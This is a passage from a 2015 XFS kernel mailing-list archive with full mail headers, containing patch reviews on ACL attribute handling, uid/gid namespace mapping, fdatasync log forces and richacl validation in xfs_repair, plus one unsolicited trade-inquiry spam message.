trusted.SGI_ACL_* attributes but POSIX ACLs are not > enabled, treat those attributes as normal trusted attributes and bypass the > get_acl and set_acl inode operations to prevent corrupting inode->i_mode, > inode->i_acl, or inode->i_default_acl. > > Signed-off-by: Andreas Gruenbacher > --- > fs/xfs/xfs_acl.c | 5 +++++ > fs/xfs/xfs_xattr.c | 5 +++-- > fs/xfs/xfs_xattr.h | 28 ++++++++++++++++++++++++++++ > 3 files changed, 36 insertions(+), 2 deletions(-) > create mode 100644 fs/xfs/xfs_xattr.h > > diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c > index 64ffb85..bee1493 100644 > --- a/fs/xfs/xfs_acl.c > +++ b/fs/xfs/xfs_acl.c > @@ -21,6 +21,7 @@ > #include "xfs_trans_resv.h" > #include "xfs_mount.h" > #include "xfs_inode.h" > +#include "xfs_xattr.h" > #include "xfs_acl.h" > #include "xfs_attr.h" > #include "xfs_trace.h" > @@ -319,6 +320,8 @@ xfs_xattr_acl_get(struct dentry *dentry, const char *name, > struct posix_acl *acl; > int error; > > + if (!IS_POSIXACL(inode)) > + return xfs_xattr_get(dentry, name, value, size, type); This doesn't give us UID/GID mapping. In-place rewriting as the VFS does would help, but the value is a const * here so we cannot really modify it. > if (S_ISLNK(inode->i_mode)) > return -EOPNOTSUPP; > Andreas From david@fromorbit.com Mon Oct 26 15:54:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B7C8E7F37 for ; Mon, 26 Oct 2015 15:54:12 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3D76AAC001 for ; Mon, 26 Oct 2015 13:54:09 -0700 (PDT) X-ASG-Debug-ID: 1445892846-04bdf0330ba3740001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id sDCl0DD2RuCRzuFs for ; Mon, 26 Oct 2015 13:54:06 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2BTCAAzki5WPJv4LHleKAGDDYFDhlqicgEBAQEBAQaLKIUkhgmGFwQCAoE3TQEBAQEBAQcBAQEBQAE/hDMBAQQ6HCMQCAMOCgklDwUlAwcaE4gvxgYBAQgCIRmGF4VFhERJB4QuAQSWNo0anDeEeio0hVCBSAEBAQ Received: from ppp121-44-248-155.lns20.syd7.internode.on.net (HELO dastard) ([121.44.248.155]) by ipmail04.adl6.internode.on.net with ESMTP; 27 Oct 2015 07:24:05 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZqomK-0002pR-V6; Tue, 27 Oct 2015 07:54:05 +1100 Date: Tue, 27 Oct 2015 07:54:04 +1100 From: Dave Chinner To: Brian Foster Cc: sage@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH] xfs: optimise away log forces on timestamp updates for fdatasync Message-ID: <20151026205404.GH8773@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: optimise away log forces on timestamp updates for fdatasync References: <1445396343-4361-1-git-send-email-david@fromorbit.com> <20151022173618.GC13661@bfoster.bfoster> <20151026050720.GG8773@dastard> <20151026114929.GA59738@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151026114929.GA59738@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1445892846 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23838 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Oct 26, 2015 at 07:49:29AM -0400, Brian Foster wrote: > On Mon, Oct 26, 2015 at 04:07:20PM +1100, Dave Chinner wrote: > > > Also, is it me or are we sending an unconditional flush in the hunk > > > following the log force call in xfs_file_fsync() (even if we've skipped > > > the log force)? > > > > The flush is needed - fdatasync needs to guarantee the data is > > on stable storage even if no metadata needs to be written to the > > journal. > > > > Ok. Well it's too bad we don't get any feedback about what was written > from the filemap_write_and_wait_range() call. As it is, we send a flush > even if there's nothing to write back. Direct IO still needs cache flushes. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Oct 26 16:34:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 12FB37F47 for ; Mon, 26 Oct 2015 16:34:01 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9162EAC004 for ; Mon, 26 Oct 2015 14:33:57 -0700 (PDT) X-ASG-Debug-ID: 1445895233-04cb6c7b878ea20001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id kE1Zy98KQs1fZoQU for ; Mon, 26 Oct 2015 14:33:54 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CpCACimy5WPJv4LHleKAGDDYFDhlqicQEBAQEBAQaLKIUkhgmGFwICAQECgTdNAQEBAQEBBwEBAQFAAT+EMwEBBDocIxAIAw4KCSUPBSUDBxoTiC/GBQELASAZhheFRYQhbAeELgWWNo0agWGHY4VqjQmEeio0hxgBAQE Received: from ppp121-44-248-155.lns20.syd7.internode.on.net (HELO dastard) ([121.44.248.155]) by ipmail04.adl6.internode.on.net with ESMTP; 27 Oct 2015 08:02:28 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZqpNU-0002u3-Ey; Tue, 27 Oct 2015 08:32:28 +1100 Date: Tue, 27 Oct 2015 08:32:28 +1100 From: Dave Chinner To: Brian Foster Cc: Andreas Gruenbacher , xfs@oss.sgi.com Subject: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} Message-ID: <20151026213228.GI8773@dastard> X-ASG-Orig-Subj: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} References: <20151024125659.GA8095@bfoster.bfoster> <20151024152254.GA22232@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151024152254.GA22232@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1445895233 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23838 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Oct 24, 2015 at 11:22:55AM -0400, Brian Foster wrote: > On Sat, Oct 24, 2015 at 03:58:04PM +0200, Andreas Gruenbacher wrote: > > On Sat, Oct 24, 2015 at 2:57 PM, Brian Foster wrote: > > > An alternative could be to just disallow setting these xattrs directly. > > > > Probably not because that would cause applications to fail in > > unexpected new ways. > > > > I suppose a backup/restore application might want to set these, but I'm > not aware of any other sane usage given they're in a filesystem specific > format at this point. We'd probably have to take a look at xfsdump, see > how it handles this, then see if there's a clean way to run through > necessary acl bits if we're called via setxattr(). xfsrestore restores all the xattrs via setxattr(). It does not care what they contain, it just restores them with the appropriate namespace flags (ATTR_ROOT, ATTR_SECURE or 0) that they had when read by xfsdump. So we cannot disable this functionality without breaking dump/restore. Really, I'm struggling to understand what the problem is with XFS doing translation to it's own special xattr names for ACLs underneath the posix layer. Yes, there's a caching issue when someone directly manipulates the underlying xattr, but you need root to shoot yourself in the foot that way, and that is easily solveable. What other problems are there? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Oct 26 16:47:30 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 084C17F50 for ; Mon, 26 Oct 2015 16:47:30 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DA93E304032 for ; Mon, 26 Oct 2015 14:47:26 -0700 (PDT) X-ASG-Debug-ID: 1445896043-04cbb0660e941b0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id LvSAG4fgC8YpXjhx for ; Mon, 26 Oct 2015 14:47:23 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 Received: from ppp121-44-248-155.lns20.syd7.internode.on.net (HELO dastard) ([121.44.248.155]) by ipmail04.adl6.internode.on.net with ESMTP; 27 Oct 2015 08:16:55 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZqpbP-0002x9-FU; Tue, 27 Oct 2015 08:46:51 +1100 Date: Tue, 27 Oct 2015 08:46:51 +1100 From: Dave Chinner To: Andreas Gruenbacher Cc: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH 3/4] xfs: SGI ACLs: Map uid/gid namespaces Message-ID: <20151026214651.GJ8773@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/4] xfs: SGI ACLs: Map uid/gid namespaces References: <1445721369-25679-1-git-send-email-agruenba@redhat.com> <1445721369-25679-4-git-send-email-agruenba@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1445721369-25679-4-git-send-email-agruenba@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1445896043 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23838 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Oct 24, 2015 at 11:16:08PM +0200, Andreas Gruenbacher wrote: > Map uids and gids in the trusted.SGI_ACL_{FILE,DEFAULT} attributes between > the kernel and user-space namespaces. This needs to be done in the > filesystem because the VFS is unaware of those attributes; for the standard > POSIX ACL attributes, the VFS takes care of that for us. > > Signed-off-by: Andreas Gruenbacher > --- > fs/xfs/xfs_acl.c | 29 +++++++++++++++++++---------- > 1 file changed, 19 insertions(+), 10 deletions(-) > > diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c > index 0eea7ee..64ffb85 100644 > --- a/fs/xfs/xfs_acl.c > +++ b/fs/xfs/xfs_acl.c > @@ -39,7 +39,8 @@ STATIC struct posix_acl * > xfs_acl_from_disk( > const struct xfs_acl *aclp, > int len, > - int max_entries) > + int max_entries, > + struct user_namespace *ns) > { > struct posix_acl_entry *acl_e; > struct posix_acl *acl; > @@ -71,10 +72,10 @@ xfs_acl_from_disk( > > switch (acl_e->e_tag) { > case ACL_USER: > - acl_e->e_uid = xfs_uid_to_kuid(be32_to_cpu(ace->ae_id)); > + acl_e->e_uid = make_kuid(ns, be32_to_cpu(ace->ae_id)); Please don't replace the xfs wrappers with the horribly named generic functions. Pass the namespace to xfs_uid_to_kuid(), and modify them, please. That way people who don't deal with namespaces every day can tell exactly what format conversion is taking place just by reading the code... This namespace stuff is awful twisty. The posix layer does a user-ns to init-ns conversion and here we do a no-op init-ns to init-ns conversion. That needs comments in the code to explain exactly why one path needs user-ns conversion and the other doesn't, because I'm sure as hell not going to remember why these code paths are different in 6 months time. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Oct 26 17:55:31 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2CF347F58 for ; Mon, 26 Oct 2015 17:55:31 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 090798F8052 for ; Mon, 26 Oct 2015 15:55:30 -0700 (PDT) X-ASG-Debug-ID: 1445900122-04cbb0660d97b20001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id DcaI9Fqs9EBs2FNG for ; Mon, 26 Oct 2015 15:55:22 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CgCACdri5WPJv4LHleKAGDDVRvhlqicQEBAQEBAQaLKIUkhgkZhX4CAgEBAoE6TQEBAQEBAQcBAQEBQT+EMwEBBDocIxAIAw4KCSUPBSUDBxoTiC/FewELASAZhheFRYUNB4QuBZY2hRyHfoIpjQWNCYR6KjSFUSWBIgEBAQ Received: from ppp121-44-248-155.lns20.syd7.internode.on.net (HELO dastard) ([121.44.248.155]) by ipmail04.adl6.internode.on.net with ESMTP; 27 Oct 2015 09:25:21 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zqqfg-00034B-U9; Tue, 27 Oct 2015 09:55:20 +1100 Date: Tue, 27 Oct 2015 09:55:20 +1100 From: Dave Chinner To: Andreas Gruenbacher Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/4] xfs_repair: Validate richacl attributes Message-ID: <20151026225520.GK8773@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/4] xfs_repair: Validate richacl attributes References: <1445627828-14661-1-git-send-email-agruenba@redhat.com> <1445627828-14661-5-git-send-email-agruenba@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1445627828-14661-5-git-send-email-agruenba@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1445900122 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23842 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Oct 23, 2015 at 09:17:08PM +0200, Andreas Gruenbacher wrote: > When we have the header and a working copy of librichacl.a (the > static version of the richacl library), use that to validate richacl attribute > values. > > Signed-off-by: Andreas Gruenbacher > --- > configure.ac | 22 ++++++++++++++++++++++ > include/builddefs.in | 5 +++++ > repair/Makefile | 2 +- > repair/attr_repair.c | 41 ++++++++++++++++++++++++++++++++++++++++- > 4 files changed, 68 insertions(+), 2 deletions(-) > > diff --git a/configure.ac b/configure.ac > index 7b57521..2584ea2 100644 > --- a/configure.ac > +++ b/configure.ac > @@ -101,6 +101,28 @@ AC_PACKAGE_GLOBALS(xfsprogs) > AC_PACKAGE_UTILITIES(xfsprogs) > AC_MULTILIB($enable_lib64) > > +have_richacl=no > +librichacl= > +AC_CHECK_HEADERS([sys/richacl.h]) > +if test "$ac_cv_header_sys_richacl_h" = yes; then > + AC_CHECK_HEADERS([linux/xattr.h]) > + saved_LIBS=$LIBS > + librichacl=-l:librichacl.a > + LIBS="$LIBS $librichacl" > + AC_COMPILE_IFELSE([AC_LANG_PROGRAM([ > + #include > + ],[ > + int valid = richacl_valid((struct richacl *)0); > + ])], [ > + have_richacl=yes > + ], [ > + librichacl= > + ]) > + LIBS=$saved_LIBS > +fi > +AC_SUBST([have_richacl]) > +AC_SUBST([librichacl]) > + > AC_PACKAGE_NEED_AIO_H > AC_PACKAGE_NEED_LIO_LISTIO > > diff --git a/include/builddefs.in b/include/builddefs.in > index c1797fd..b64e027 100644 > --- a/include/builddefs.in > +++ b/include/builddefs.in > @@ -34,6 +34,7 @@ LIBTERMCAP = @libtermcap@ > LIBEDITLINE = @libeditline@ > LIBREADLINE = @libreadline@ > LIBBLKID = @libblkid@ > +LIBRICHACL = @librichacl@ > LIBXFS = $(TOPDIR)/libxfs/libxfs.la > LIBXCMD = $(TOPDIR)/libxcmd/libxcmd.la > LIBXLOG = $(TOPDIR)/libxlog/libxlog.la > @@ -108,6 +109,7 @@ HAVE_MNTENT = @have_mntent@ > HAVE_FLS = @have_fls@ > HAVE_FSETXATTR = @have_fsetxattr@ > HAVE_MREMAP = @have_mremap@ > +HAVE_RICHACL = @have_richacl@ > > GCCFLAGS = -funsigned-char -fno-strict-aliasing -Wall > # -Wbitwise -Wno-transparent-union -Wno-old-initializer -Wno-decl > @@ -147,6 +149,9 @@ endif > ifeq ($(ENABLE_BLKID),yes) > PCFLAGS+= -DENABLE_BLKID > endif > +ifeq ($(HAVE_RICHACL),yes) > +PCFLAGS += -DHAVE_RICHACL > +endif > > > GCFLAGS = $(OPTIMIZER) $(DEBUG) \ > diff --git a/repair/Makefile b/repair/Makefile > index 251722b..032f453 100644 > --- a/repair/Makefile > +++ b/repair/Makefile > @@ -20,7 +20,7 @@ CFILES = agheader.c attr_repair.c avl.c avl64.c bmap.c btree.c \ > progress.c prefetch.c rt.c sb.c scan.c threads.c \ > versions.c xfs_repair.c > > -LLDLIBS = $(LIBXFS) $(LIBXLOG) $(LIBUUID) $(LIBRT) $(LIBPTHREAD) > +LLDLIBS = $(LIBXFS) $(LIBXLOG) $(LIBUUID) $(LIBRT) $(LIBPTHREAD) $(LIBRICHACL) > LTDEPENDENCIES = $(LIBXFS) $(LIBXLOG) > LLDFLAGS = -static-libtool-libs > > diff --git a/repair/attr_repair.c b/repair/attr_repair.c > index e03f360..e7f03a8 100644 > --- a/repair/attr_repair.c > +++ b/repair/attr_repair.c > @@ -26,6 +26,17 @@ > #include "dir2.h" > #include "da_util.h" > > +#ifdef HAVE_RICHACL > +# if HAVE_LINUX_XATTR_H > +# include > +# endif > +# ifndef XATTR_RICHACL > +# define XATTR_RICHACL "richacl" > +# endif > + > +# include > +#endif > + > static int xfs_acl_valid(struct xfs_mount *mp, struct xfs_acl *daclp); > static int xfs_mac_valid(xfs_mac_label_t *lp); > > @@ -195,6 +206,35 @@ valuecheck( > if ( valuelen != sizeof(xfs_cap_set_t)) > clearit = 1; > } > +#if HAVE_RICHACL > + else if (namelen == strlen(XATTR_RICHACL) && > + strncmp(namevalue, XATTR_RICHACL, strlen(XATTR_RICHACL)) == 0) { > + struct richacl *acl; > + > + if (value == NULL) { > + valuep = malloc(valuelen); > + if (!valuep) > + do_error(_("No memory for ACL check!\n")); > + memcpy(valuep, namevalue + namelen, valuelen); > + } else > + valuep = value; > + > + acl = richacl_from_xattr(valuep, valuelen); > + if (!acl) { > + if (errno == ENOMEM) > + do_error(_("No memory for ACL check!\n")); > + else > + clearit = 1; > + } else { > + if (richacl_valid(acl) != 0) > + clearit = 1; > + richacl_free(acl); > + } > + > + if (valuep != value) > + free(valuep); > + } > +#endif This also needs to check that the richacl feature bit is set apprpriately for the type of ACL that is found. i.e. if we find a posix ACL on a richacl enabled filesystem (or vice versa), that's indicative of a kernel bug and we need to take action on it.. Cheers, Dave. -- Dave Chinner david@fromorbit.com From geosystemsgps@gmail.com Mon Oct 26 18:15:32 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A48DE7F52 for ; Mon, 26 Oct 2015 18:15:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 18F0FAC007 for ; Mon, 26 Oct 2015 16:15:28 -0700 (PDT) X-ASG-Debug-ID: 1445901325-04cbb0660e985a0001-NocioJ Received: from mail-wi0-f196.google.com (mail-wi0-f196.google.com [209.85.212.196]) by cuda.sgi.com with ESMTP id gKCHSL5oDs5zrqo2 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 26 Oct 2015 16:15:26 -0700 (PDT) X-Barracuda-Envelope-From: geosystemsgps@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.196 Received: by wicuv6 with SMTP id uv6so23814554wic.2 for ; Mon, 26 Oct 2015 16:15:24 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=nv5PZOaHiccpN1kt0AZQcqFP9vOeFv0xNodxSfRMCnA=; b=v1uqJqbAA+zq00i/PNx8nLzcgC/q7SaW/CtLzUSjlko9aVh5kDAbGJVw00lYTt5Q00 Pz3iNi7F76Ev2zPmB0jdWpsfgt1L/c74wYnWABzooUbHt9Ks2NPSnj2pbL2nEP3eyufD xpQ4OaCmHfjSVg3NTmO+zZWIZKwDiBNXwXWoKlRvvsQLPwlD/BXy/1Gi3Ldtm965OgNs GencilE+XI/kPsHn455arxDLcR2CbYN3Sk8zO9ABXsCnAG1dtN9RBVU23+0sWCyDHRU4 WssCO7iYfvmtEXofyXhxtHIIodoIKmFRb2ssbnM5+N5698UHnELKcSP3F9bUs9N9YRCh V+oQ== MIME-Version: 1.0 X-Received: by 10.194.189.68 with SMTP id gg4mr22293738wjc.146.1445901324349; Mon, 26 Oct 2015 16:15:24 -0700 (PDT) Received: by 10.28.68.134 with HTTP; Mon, 26 Oct 2015 16:15:24 -0700 (PDT) Date: Tue, 27 Oct 2015 00:15:24 +0100 Message-ID: Subject: Wchanzy Trading Co.,Ltd From: Zia Malik X-ASG-Orig-Subj: Wchanzy Trading Co.,Ltd To: undisclosed-recipients:; Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-wi0-f196.google.com[209.85.212.196] X-Barracuda-Start-Time: 1445901326 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: wchanzytrading.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23842 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Greetings, I am Zia Malik, we are interested in purchasing your company's products and we would like to see your company's latest product catalogs, also we would like to know if you are into customization. Please provide us with the following details accordingly. - Best FOB Prices and FOB Port - Your Minimum Order Quantity. - Your Shipping Capacity. - Your Estimated Delivery time Awaiting your prompt Response. Best Regards Zia Malik Wchanzy Trading Co., Ltd. (TRADING) 12A Fung Chi Tsuen, Cwoloon, Hong Kong (CHINA) TEL: +853 - 93087786 FAX: +852 - 35996617 www.wchanzytrading.com From agruenba@redhat.com Mon Oct 26 18:52:18 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4376D7F53 for ; Mon, 26 Oct 2015 18:52:18 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 06F2C304032 for ; Mon, 26 Oct 2015 16:52:14 -0700 (PDT) X-ASG-Debug-ID: 1445903531-04bdf0330ca8860001-NocioJ Received: from mail-lf0-f51.google.com (mail-lf0-f51.google.com [209.85.215.51]) by cuda.sgi.com with ESMTP id GVmQsNaJg2TZENxi (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 26 Oct 2015 16:52:12 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.215.51 Received: by lfaz124 with SMTP id z124so164948423lfa.1 for ; Mon, 26 Oct 2015 16:52:10 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat_com.20150623.gappssmtp.com; s=20150623; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=2xl2oUPT9diIRrDhk3KNqnYy9QRBlUIZXadXOJHCdMY=; b=zEwBjA7Yh7idBCund0daPUqlj0tosElCP1oiBS9ZF9eFNR870NQWtWXKY/LFjaX3HV 5RLPFJ6j3BKefOx7tXGYJdmp8G76s3xwrO6PGbi9kWIXg0ItCIEg1nko8QfeOj50PlgU dKjlquzlcXaWUkDsVBGMpAeEToAH3Sz6DncAX2wEB4RgAuUlLgR3Ws4hCfTczlesK1Ni vtyPJb7RnFn8+U9mH3ujNRVIr+he56TrUkKyINdt4uCkfjoRa3EhQosJVePOXWkPBvoe dTXU1iMnpfal7UdIJyX3RPf6oNbdvodljLSdUvyuMI0LRmze4CeUrMuwWVS65ODOVFPT WnqA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=2xl2oUPT9diIRrDhk3KNqnYy9QRBlUIZXadXOJHCdMY=; b=JnmZvQECUrNd8Pt+yoFaIPjZoEMb6kUr2Rk2aLQr6pHgeGUOk1TV+9mBqHpFCqxt+e kl8qYLcyoKsCNy+BsD7BvCIGcRHCj/yaKAydvnhAHd/P9MRZw50fxrkd4J/m3+RYvgQ0 IXfFth3HVvp0hUKBveo192QAzeEA6P/wtD1IKHIsl8KU4ExqbWtrqdnRRXl6fUxqu+jA KklWlnLZmm/OAFbhG0q1IIxrdQ1fgYzRCHOAz+joMDIjw6guHbfrmD46MfPxyyQ+KDpN B/QL/U89qhyFrUe1MGS79NDznirV8lrLdBaCAMwL3hfyMnqPDoskYnPmY5sSnnJkr4yr OOnw== X-Gm-Message-State: ALoCoQkgt/Q4TQemadOI0Vb9Ey1nkAKtmYVSPsWocymFxScOHfYCsJnfPD+U2tDCBVp7k272bYxJ MIME-Version: 1.0 X-Received: by 10.25.83.139 with SMTP id h133mr12270818lfb.89.1445903530848; Mon, 26 Oct 2015 16:52:10 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Mon, 26 Oct 2015 16:52:10 -0700 (PDT) In-Reply-To: <20151026213228.GI8773@dastard> References: <20151024125659.GA8095@bfoster.bfoster> <20151024152254.GA22232@bfoster.bfoster> <20151026213228.GI8773@dastard> Date: Tue, 27 Oct 2015 00:52:10 +0100 Message-ID: Subject: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: Inconsistencies with 